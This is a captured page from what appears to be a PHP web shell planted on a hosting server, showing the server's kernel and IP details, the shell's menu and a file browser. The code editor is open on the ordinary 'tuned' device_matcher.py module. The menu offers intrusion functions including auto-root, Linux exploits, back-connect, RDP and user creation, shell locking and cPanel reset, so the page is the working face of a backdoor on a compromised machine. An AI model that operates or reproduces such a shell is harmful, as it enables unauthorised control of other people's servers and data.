Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.141.29.202
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
lib /
python2.7 /
site-packages /
tuned /
hardware /
[ HOME SHELL ]
Name
Size
Permission
Action
__init__.py
90
B
-rw-r--r--
__init__.pyc
253
B
-rw-r--r--
__init__.pyo
253
B
-rw-r--r--
device_matcher.py
1.54
KB
-rw-r--r--
device_matcher.pyc
2.11
KB
-rw-r--r--
device_matcher.pyo
2.11
KB
-rw-r--r--
device_matcher_udev.py
521
B
-rw-r--r--
device_matcher_udev.pyc
1.06
KB
-rw-r--r--
device_matcher_udev.pyo
1.06
KB
-rw-r--r--
inventory.py
3.59
KB
-rw-r--r--
inventory.pyc
4.76
KB
-rw-r--r--
inventory.pyo
4.76
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : device_matcher.py
import fnmatch import re __all__ = ["DeviceMatcher"] class DeviceMatcher(object): """ Device name matching against the devices specification in tuning profiles. The devices specification consists of multiple rules separated by spaces. The rules have a syntax of shell-style wildcards and are either positive or negative. The negative rules are prefixed with an exclamation mark. """ def match(self, rules, device_name): """ Match a device against the specification in the profile. If there is no positive rule in the specification, implicit rule which matches all devices is added. The device matches if and only if it matches some positive rule, but no negative rule. """ if isinstance(rules, str): rules = re.split(r"\s|,\s*", rules) positive_rules = [rule for rule in rules if not rule.startswith("!") and not rule.strip() == ''] negative_rules = [rule[1:] for rule in rules if rule not in positive_rules] if len(positive_rules) == 0: positive_rules.append("*") matches = False for rule in positive_rules: if fnmatch.fnmatch(device_name, rule): matches = True break for rule in negative_rules: if fnmatch.fnmatch(device_name, rule): matches = False break return matches def match_list(self, rules, device_list): """ Match a device list against the specification in the profile. Returns the list, which is a subset of devices which match. """ matching_devices = [] for device in device_list: if self.match(rules, device): matching_devices.append(device) return matching_devices
Close